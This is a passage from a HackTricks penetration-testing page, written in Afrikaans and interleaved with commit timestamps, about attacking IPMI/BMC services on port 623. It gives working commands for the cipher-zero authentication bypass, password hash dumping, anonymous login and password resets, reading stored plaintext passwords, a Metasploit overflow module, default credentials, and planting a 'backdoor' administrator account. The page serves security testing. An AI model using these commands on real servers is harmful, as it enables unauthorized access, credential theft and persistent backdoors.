hacktricks/network-services-pentesting/623-udp-ipmi.md

146 lines
10 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2024-02-11 02:07:06 +00:00
### **Oorsig van IPMI**
2022-10-02 21:10:53 +00:00
2024-02-11 02:07:06 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie maak dit moontlik vir stelseladministrateurs om stelsels op afstand te bestuur, selfs wanneer hulle afgeskakel of onreageerbaar is, en is veral nuttig vir:
2022-10-02 21:10:53 +00:00
2024-02-11 02:07:06 +00:00
- Voor-OS-opstartkonfigurasies
- Kragafskakelingbestuur
- Herstel van stelselstoringe
2022-10-02 21:10:53 +00:00
2024-02-11 02:07:06 +00:00
IPMI is in staat om temperature, spanning, spoed van waaiers en kragvoorsiening te monitor, en bied ook inventarisinligting, hersiening van hardeware-logboeke en stuur waarskuwings via SNMP. 'n Kragbron en 'n LAN-verbinding is noodsaaklik vir sy werking.
2022-10-02 21:10:53 +00:00
2024-02-11 02:07:06 +00:00
Sedert dit in 1998 deur Intel bekendgestel is, word IPMI ondersteun deur talle verskaffers wat afstandsbestuursmoontlikhede verbeter het, veral met ondersteuning vir seriële oor LAN in weergawe 2.0. Sleutelkomponente sluit in:
2024-02-11 02:07:06 +00:00
- **Baseboard Management Controller (BMC):** Die hoofmikrokontroleerder vir IPMI-operasies.
- **Kommunikasiebusse en -interfaces:** Vir interne en eksterne kommunikasie, insluitend ICMB, IPMB en verskeie interfaces vir plaaslike en netwerkverbindings.
- **IPMI-geheue:** Vir berging van logboeke en data.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
2024-02-11 02:07:06 +00:00
**Verstekpoort**: 623/UDP/TCP (Dit is gewoonlik op UDP, maar dit kan ook op TCP loop)
2024-02-11 02:07:06 +00:00
## Enumerasie
2024-02-11 02:07:06 +00:00
### Ontdekking
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
2024-02-11 02:07:06 +00:00
Jy kan die weergawe identifiseer deur die volgende te gebruik:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
2024-02-11 02:07:06 +00:00
### IPMI Kwesbaarhede
2024-02-11 02:07:06 +00:00
In die domein van IPMI 2.0 is 'n beduidende sekuriteitsfout ontdek deur Dan Farmer, wat 'n kwesbaarheid deur middel van **sifer tipe 0** blootgestel het. Hierdie kwesbaarheid, in detail gedokumenteer by [Dan Farmer se navorsing](http://fish2.com/ipmi/cipherzero.html), maak ongemagtigde toegang moontlik met enige wagwoord, mits 'n geldige gebruiker geteiken word. Hierdie swakheid is gevind in verskeie BMC's van vervaardigers soos HP, Dell en Supermicro, wat dui op 'n wye verspreide probleem binne alle IPMI 2.0-implementasies.
2024-02-11 02:07:06 +00:00
### **IPMI-outentifikasie-omleiding via Sifer 0**
2024-02-08 21:36:35 +00:00
2024-02-11 02:07:06 +00:00
Om hierdie fout op te spoor, kan die volgende Metasploit hulpprogram vir skandering gebruik word:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
2024-02-11 02:07:06 +00:00
Uitbuiting van hierdie fout is haalbaar met `ipmitool`, soos hieronder gedemonstreer, wat die lys en wysiging van gebruikerswagwoorde moontlik maak:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
2024-02-11 02:07:06 +00:00
### **IPMI 2.0 RAKP-verifikasie Verwydering van Verwyderde Wagwoord Hash**
2024-02-11 02:07:06 +00:00
Hierdie kwesbaarheid maak dit moontlik om gesoute gehashde wagwoorde (MD5 en SHA1) vir enige bestaande gebruikersnaam te herwin. Om hierdie kwesbaarheid te toets, bied Metasploit 'n module aan:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-11 02:07:06 +00:00
### **IPMI Anonieme Verifikasie**
2024-02-11 02:07:06 +00:00
'n Standaard konfigurasie in baie BMC's maak "anonieme" toegang moontlik, gekenmerk deur 'n leë gebruikersnaam en wagwoord. Hierdie konfigurasie kan uitgebuit word om wagwoorde van genoemde gebruikersrekeninge te herstel deur gebruik te maak van `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
2024-02-11 02:07:06 +00:00
### **Supermicro IPMI Duidelike-tekswagwoorde**
2024-02-11 02:07:06 +00:00
'n Kritieke ontwerpkeuse in IPMI 2.0 vereis die berging van duidelike-tekswagwoorde binne BMC's vir outentiseringsdoeleindes. Supermicro se berging van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` veroorsaak aansienlike veiligheidskwessies:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
2024-02-11 02:07:06 +00:00
### **Supermicro IPMI UPnP Kwesbaarheid**
2024-02-11 02:07:06 +00:00
Supermicro se insluiting van 'n UPnP SSDP luisteraar in sy IPMI-firmware, veral op UDP-poort 1900, stel 'n ernstige veiligheidsrisiko in. Kwesbaarhede in die Intel SDK vir UPnP-toestelle weergawe 1.3.1, soos beskryf deur [Rapid7 se openbaarmaking](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), maak dit moontlik om root-toegang tot die BMC te verkry:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2024-02-08 21:36:35 +00:00
### Brute Force
2024-02-11 02:07:06 +00:00
**HP randomiseer die verstek wagwoord** vir sy **Integrated Lights Out (iLO)** produk tydens vervaardiging. Hierdie praktyk verskil van ander vervaardigers wat geneig is om **statiese verstek geloofsbriewe** te gebruik. 'n Opsomming van verstek gebruikersname en wagwoorde vir verskeie produkte word as volg verskaf:
2024-02-11 02:07:06 +00:00
- **HP Integrated Lights Out (iLO)** gebruik 'n **fabrieksgematigde 8-karakter string** as sy verstek wagwoord, wat 'n hoër veiligheidsvlak toon.
- Produkte soos **Dell se iDRAC, IBM se IMM**, en **Fujitsu se Integrated Remote Management Controller** gebruik maklik raadbare wagwoorde soos "calvin", "PASSW0RD" (met 'n nul), en "admin" onderskeidelik.
- Op soortgelyke wyse gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige verstek geloofsbriewe, met "ADMIN", "changeme", en "admin" as hul wagwoorde.
2024-02-11 02:07:06 +00:00
## Toegang tot die Gasheer via BMC
2024-02-11 02:07:06 +00:00
Administratiewe toegang tot die Baseboard Management Controller (BMC) maak verskeie roetes oop vir toegang tot die gasheer se bedryfstelsel. 'n Reguit benadering behels die uitbuiting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur óf die gasheer te herlaai na 'n root-skulp via GRUB (deur `init=/bin/sh` te gebruik) óf deur te herlaai vanaf 'n virtuele CD-ROM wat as 'n reddingskyf ingestel is. Sulke metodes maak direkte manipulasie van die gasheer se skyf moontlik, insluitend die invoeging van agterdeure, data-onttrekking, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter dat die gasheer herlaai word, wat 'n groot nadeel is. Sonder om te herlaai, is toegang tot die lopende gasheer meer kompleks en wissel afhangende van die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsole aangemeld bly, kan dit maklik oorgeneem word deur die BMC se KVM- of seriële-oor-LAN (sol) funksionaliteite via `ipmitool`. Die uitbuiting van gedeelde hardwareressources, soos die i2c-bus en Super I/O-skyf, is 'n gebied wat verdere ondersoek verg.
2024-02-11 02:07:06 +00:00
## Invoering van Agterdeure in BMC vanaf die Gasheer
2024-02-11 02:07:06 +00:00
Nadat 'n gasheer wat toegerus is met 'n BMC gekompromitteer is, kan die **plaaslike BMC-koppelvlak gebruik word om 'n agterdeur-gebruikersrekening in te voeg**, wat 'n blywende teenwoordigheid op die bediener skep. Hierdie aanval vereis die teenwoordigheid van **`ipmitool`** op die gekompromitteerde gasheer en die aktivering van BMC-bestuursprogramondersteuning. Die volgende opdragte illustreer hoe 'n nuwe gebruikersrekening in die BMC ingevoeg kan word deur gebruik te maak van die plaaslike koppelvlak van die gasheer, wat die behoefte aan verifikasie omseil. Hierdie tegniek is toepaslik op 'n wye verskeidenheid bedryfstelsels, insluitend Linux, Windows, BSD, en selfs DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>